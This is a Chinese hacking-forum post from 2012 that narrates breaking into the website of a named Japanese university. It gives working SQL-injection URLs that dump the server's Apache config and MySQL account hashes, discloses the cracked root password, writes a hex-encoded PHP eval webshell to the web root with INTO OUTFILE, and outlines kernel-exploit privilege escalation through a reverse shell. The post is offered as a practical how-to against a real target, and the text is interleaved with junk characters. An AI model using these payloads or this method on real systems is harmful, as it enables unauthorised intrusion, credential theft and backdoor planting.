找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2442|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
入侵日本同志社大学技术分析
* c  `$ G  E+ ^/ O  W
- Q7 P3 b! s. K$ \# x& zhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
, q5 D5 v. C/ v5 M( s: ^9 V然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
2 L' u& C0 G; f, o, m# D1 O, E
- m; E% r& v0 B4 P+ Bhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user; J6 L: W: y; J1 G  n( D

' D; V' k, Z9 L5 z- ~, ?
! S: |4 N; H0 }: T, U% N! S+ J, V4 \# b' v5 V
//@@datadir为数据库文件路径
: @1 @. i9 B: V) z  b8 k2 ^ % @6 G$ ^0 Z+ f# s
7 z& N$ X+ `& _3 G, L
//load_file读取网站容器apache的配置文件 " D- i9 s8 f  X  C' K* \

' G5 l3 g: j* I4 ?
2 ]. C- ?0 w+ a  p//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 7 j7 S  I( L7 q7 F+ ~
复制代码& [: F; q5 i! j! J( V9 s* P
6 z& j  {0 i. V$ w/ X4 i2 o" F4 u
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
; x8 N3 _, y+ e* s
" {0 D6 X  `. n" m/ N0 L而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。5 T: D# `; t1 `6 R. n
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
) x/ `- `( s" W6 P# j4 @. w6 r2 E: _; c6 h$ w: M( @3 D) T7 P
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
) ?# g1 Y* z$ |  {) }如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
6 O0 m% F& O8 r: B6 _+ u3 z3 _; T; G2 ?# P( r* ?/ \( M5 k
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/& ^$ I% q/ G4 d; G
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
& i: z. R6 J2 m$ T( ?4 [3 o0 u直接写一句话:: j4 ~8 g6 Y4 P; D+ ?& ?
, B" ?  z  v6 h. o
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
3 s5 s$ i) W* Q5 x9 ]  U$ }% L# V& `3 A

; K) n- o9 v; Y0 Z0 r- l# B8 k% n" d; |
//最后的#是为了闭合前面的语句
) k2 Y* U8 i# C3 `
8 k' O7 E! q) M. u" {9 k8 Z  _
. ]1 n2 B# g2 t* ?. ^/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
( I2 X: j, \. W$ D: o$ ]/ K
! G9 j5 t+ q9 }, j9 u. x' p5 o) {/ U  {1 B0 l. R- r
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ , T4 c" {7 o6 |8 G. ], Z2 E0 G

3 H3 N. B1 C$ B% e
) `7 u7 i3 T+ X; x5 ?0 o//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
: `7 f, t4 ^3 w/ b0 B ) B; Y" N' w5 d6 m

0 [  ]2 ^) k: U: D' ]//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
7 U. N& w0 I/ S" w//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
8 S3 \9 u0 Q; k9 R* {( D5 Z5 H复制代码6 H5 q! k/ j! j$ Y' w6 Y8 ~# M

( ^" Z/ A6 H' X: cHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有. L7 C4 j7 J' e* e$ g+ G
通过上述注入语句,我们就得到了一句话木马:+ ?" N9 A- _) s3 Q5 E% w

, m9 v/ b& c/ w9 T$ H
2 L8 @1 v$ n, j
1 q) i, l) c8 W' R% y
$ m5 p+ s. g# L. r7 a& q; Y$ a" Q  X# @0 D) f7 k  V  \( K4 A
http://www.doshisha.ac.jp/english/engnews_img/aa.php
' o4 x: X9 h$ b4 B9 J复制代码: V& u# `+ t) L4 D) I% I

  R) O  L. G! l% Z% v0 L用菜刀连接,密码是cmd,如图所示:4 c+ M) @+ `' I
然后在命令提示行里看了一下,现在的权限是:
( O: y9 |0 @% T# s: X5 z, e/ E4 M( k: {" h& x- X" g
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。- N+ a, N5 A( @9 {1 |( O
好在赋权给这个文件夹不需要root,直接执行赋权语句:
% z, o6 W9 S8 h4 h8 a6 |( [; l- Y$ j# E9 E% h' G
) [1 l# [1 ^2 w, B% @

# M, K/ T& e/ j) U, R# Z# }
5 K8 f3 X/ L' n1 k+ b2 p3 O/ L( T3 M5 i0 ?- z( H1 p! I
chmod +x /tmp/ ! ^! H  ]/ c7 a* ^9 e, B# j
复制代码
# s  v3 r' N3 T) a! V' G- T% j/ W
' i: n; x0 h  P! |1 j在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
4 G) o5 m  I9 p6 q+ Q! ]1 }" a4 Q, y然后就查了一下内核版本:' O5 |( r' I" Q
) y, x2 a& |* `1 Y, {

1 S1 x, z) C+ u! u) ?1 e3 p; ^# \
7 y: B: U" Q# q& R
6 a8 K0 j& }* U* F( f! p. k+ r. i5 N' ~9 \4 `3 G
uname-a , H+ O: ^1 q# N6 Q+ W
( I" e. H, L# g9 f' d
9 e* j6 c- @$ W
//其实lsb_release -a ' I. t1 Z* c  y& y/ i6 X3 B
复制代码
# V0 A- d3 l" y# t. c4 b
' M$ \/ T9 \5 t! H( y如图所示:
: ~3 X( I1 p: M! ?- c4 ^6 T
( x6 B. N& Z% h0 x# Q内核版本:linux mainz1 2.6.28-194.e159 P5 T: E; R$ s: ]9 R' T' r
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
" k3 H8 L+ z3 h( F- R* l查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹  a! D& l4 f( @1 {9 j: K( A

" n& C' F2 o0 u9 N2 `2 C然后给予执行权限9 h' s; c/ U1 B* e) i9 J
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
1 \8 s. A. g$ M5 p6 z/ q% S" U$ b8 X5 `

" w$ J7 Z9 d9 b3 a; g" z  |
: e; P& A  s4 u  D: k# x
/ Y2 D9 z7 m; h9 f- X# q; j
! }- m% k3 I% Qchmod +x /tmp/2.6.18-194
" r- K) B0 I+ G- v% P4 k复制代码 然后直接执行!~
- j; {0 D* C8 K( ~! e- a7 P
+ q$ ~$ N$ i+ z6 ^! l总结:
* M/ N' E) l& G: H这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
9 H  f' V  p. F2 ?6 w  c7 S提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root) A* h0 [1 o' \
. W. n6 \6 J8 L2 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表